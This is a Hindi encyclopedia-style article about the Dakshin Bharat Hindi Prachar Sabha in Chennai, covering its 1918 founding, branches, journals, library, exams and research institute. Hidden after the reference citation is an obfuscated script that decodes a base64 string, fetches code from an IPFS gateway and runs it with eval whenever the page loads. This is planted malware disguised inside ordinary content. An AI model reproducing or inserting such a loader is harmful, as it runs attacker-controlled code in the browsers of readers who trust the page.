दक्षिण भारत हिन्दी प्रचार सभा

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दक्षिण भारत हिन्दी प्रचार सभा मद्रास (अब चेन्नई) में स्थित एक हिंदी सेवी संस्था है।

स्थापना

राष्ट्रपिता महात्मा गांधी ने सन् 1918 में दक्षिण भारत में हिन्दी प्रचार का आंदोलन प्रारंभ किया था। उसके फलस्वरूप दक्षिण भारत हिन्दी प्रचार सभा की स्थापना सन् 1918 में मद्रास नगर के गोखले हाल में डॉ. सी. पी. रामस्वामी अय्यर की अध्यक्षता में डॉ. ऐनी बेसेंट ने की थी। प्रथम हिन्दी वर्ग महात्मा जी के सपुत्र देवदास गांधी ने शुरू किया। उनके साथ स्व. स्वामी सत्यदेव परिव्राजक भी दक्षिण के हिन्दी प्रचार के कार्य में लग गए।

विशेषताएँ

  • दक्षिण भारत हिन्दी प्रचार सभा की चार प्रांतीय शाखाएँ हैदराबाद, धारबाड़, तिरुचिरापल्ली और एरणाकुलम में स्थापित है, जो क्रमश: आंध्र प्रदेश, मैसूर, तमिलनाडु और केरल राज्यों में हिन्दी प्रचार कार्य करती हैं। सभा का अपना एक शाखा-कार्यालय दिल्ली में भी स्थापित है। वहाँ हिन्दी के माध्यम से दक्षिण की भाषाएँ सिखाने का प्रबंध भी किया जाता है।
  • ‘हिन्दी प्रचार समाचार’ मासिक पत्रिका सभा के मुख्य पत्र के रूप में प्रकाशित होती है। ‘दक्षिण भारत’ नामक त्रैमासिक साहित्यिक पत्रिका भी सभा में प्रकाशित होती है। इसमें दक्षिण भारतीय भाषाओं की रचनाओं के हिन्दी अनुवाद और उच्च स्तर के मौलिक साहित्यिक लेख छपते हैं।
  • दक्षिण भारत हिन्दी प्रचार सभा के अंतर्गत एक बड़ा हिन्दी पुस्तकालय चलता है, जिसमें इस समय लगभग 30.000 ग्रंथ भिन्न-भिन्न विषयों पर उपलब्ध हैं। इसमें हिन्दी की सभी पत्रिकाएँ हैं।
  • प्राथमिक, मध्यमा और राष्ट्रभाषा – ये प्रारंभिक परीक्षाएँ है। प्रदेशिका विशारद और प्रवीण – उच्च परीक्षाएँ हैं, जिन्हें भारत सरकार से क्रमश: हाई स्कूल, इंटर तथा बी. ए. के हिन्दी स्तर के समकक्ष मान्यता प्राप्त है।
  • विशारद और प्रवीण उपाधि परीक्षाएँ हैं।
  • ‘हिन्दी प्रचारक’ प्रशिक्षण परीक्षा है।
  • हिन्दी साहित्य की उच्चतम शिक्षा प्रदान करने के उद्देश्य से सभा की ओर से सन् 1964 में एक उच्च शिक्षा तथा शोध संस्थान खोला गया है। इस विभाग की व्यवस्था स्नातकोत्तर अध्ययन और अनुसंधान परिषद् एवं बोर्ड आफ स्टडीज़ के सुझावों के अनुसार कुलाधिपति, कुलपति, कुलसचिव, हिन्दी विभागाध्यक्ष और प्राध्यापकगण करते हैं।
  • पारंगत और हिन्दी एम. ए. की परीक्षाएँ इस विभाग की ओर से चलाई जाती हैं।
  • शोध कार्य करने वाले छात्र भी इस विभाग में अध्ययन करते हैं।
  • उच्च शिक्षा तथा शोध संस्थान का एक कांपलैक्स हैदराबाद में चलाया जा रहा है। [1]


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टीका टिप्पणी और संदर्भ

  1. लोंढे, शंकरराव। हिन्दी की स्वैच्छिक संस्थाएँ (हिंदी) भारतकोश। अभिगमन तिथि: 25 मार्च, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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